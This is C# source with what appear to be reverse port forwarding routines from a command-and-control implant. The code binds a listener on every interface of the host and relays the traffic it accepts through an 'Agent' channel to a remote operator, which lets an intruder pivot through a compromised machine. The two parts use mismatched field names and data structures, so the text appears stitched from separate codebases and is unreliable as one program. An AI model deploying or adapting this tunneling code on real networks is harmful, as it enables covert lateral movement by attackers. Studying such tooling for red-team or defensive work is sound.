/// <summary>
/// Creates a new Reverse Port Forward.
/// </summary>
/// <param name="BindPort">The port to bind on the local system.</param>
/// <param name="ForwardAddress">The IP Address or DNS name to forward traffic to.</param>
/// <param name="ForwardPort">The port to forward traffic to.</param>
/// <returns>Bool.</returns>
/// <author>Daniel Duggan (@_RastaMouse)</author>
public static bool CreateReversePortForward(int BindPort, IPAddress ForwardAddress, int ForwardPort)
{
// Check if bindPort is not already bound.
if (_boundSockets.ContainsKey(BindPort))
{
return(false);
}
// Bind the sockets
Socket boundSocket = BindSocket(IPAddress.Any, BindPort);
if (boundSocket == null)
{
return(false);
}
ReversePortForward newReversePortForward = new ReversePortForward
{
BindAddress = IPAddress.Any,
BindPort = BindPort,
ForwardAddress = ForwardAddress,
ForwardPort = ForwardPort
};
// Add to Lists
_reversePortForwards.Add(newReversePortForward);
_boundSockets[BindPort] = boundSocket;
// Kick off client sockets in new thread.
new Thread(() => CreateClientSocketThread(boundSocket, ForwardAddress, ForwardPort)).Start();
return(true);
}
/// <summary>
/// Deletes an active Reverse Port Forward.
/// </summary>
/// <param name="BindPort">The bind port of the Reverse Port Forward.</param>
/// <returns>Bool.</returns>
/// <author>Daniel Duggan (@_RastaMouse)</author>
public static bool DeleteReversePortForward(int BindPort)
{
if (!_boundSockets.TryGetValue(BindPort, out Socket socket))
{
return(false);
}
try
{
try { socket.Shutdown(SocketShutdown.Both); }
catch (SocketException) { }
socket.Close();
_boundSockets.Remove(BindPort);
ReversePortForward reversePortForward = _reversePortForwards.FirstOrDefault(r => r.BindPort.Equals(BindPort));
_reversePortForwards.Remove(reversePortForward);
return(true);
}
catch { }
return(false);
}
private void StartReversePortForward(byte[] data)
{
try
{
var args = Encoding.UTF8.GetString(data).Split(' ');
var bindPort = int.Parse(args[0]);
var forwardHost = args[1];
var forwardPort = int.Parse(args[2]);
if (ReversePortForwards.Any(k => k.Key.BindPort == bindPort))
{
Agent.SendError($"rportfwd already exists on port {bindPort}");
return;
}
var rportfwd = new ReversePortForward
{
BindPort = bindPort,
ForwardHost = forwardHost,
ForwardPort = forwardPort,
CancellationToken = new CancellationTokenSource()
};
var bindAddress = IPAddress.Parse("0.0.0.0");
var endPoint = new IPEndPoint(bindAddress, bindPort);
var listener = new Socket(bindAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
listener.Bind(endPoint);
listener.Listen(100);
var token = rportfwd.CancellationToken.Token;
Task.Factory.StartNew(delegate()
{
while (true)
{
if (token.IsCancellationRequested)
{
return;
}
try
{
var handler = listener.Accept();
var buffer = new byte[65535];
var bytesRecv = handler.Receive(buffer);
if (bytesRecv > 0)
{
var outPacket = new ReversePortForwardPacket
{
ID = Guid.NewGuid().ToString(),
ForwardHost = rportfwd.ForwardHost,
ForwardPort = rportfwd.ForwardPort,
Data = buffer.TrimBytes()
};
Agent.SendModuleData("ReversePortForward", "DataFromAgent", Serialisation.SerialiseData(outPacket));
// wait
while (true)
{
var packets = InboundPackets.ToArray();
if (packets.Any(p => p.ID.Equals(outPacket.ID, StringComparison.OrdinalIgnoreCase)))
{
var inPacket = InboundPackets.FirstOrDefault(p => p.ID.Equals(outPacket.ID, StringComparison.OrdinalIgnoreCase));
InboundPackets.Remove(inPacket);
handler.Send(inPacket.Data);
handler.Shutdown(SocketShutdown.Both);
handler.Close();
break;
}
}
}
}
catch (SocketException e)
{
// socket is probably disposed
Agent.SendError(e.Message);
}
}
}, token);
ReversePortForwards.Add(rportfwd, listener);
}
catch (Exception e)
{
Agent.SendError(e.Message);
}
}
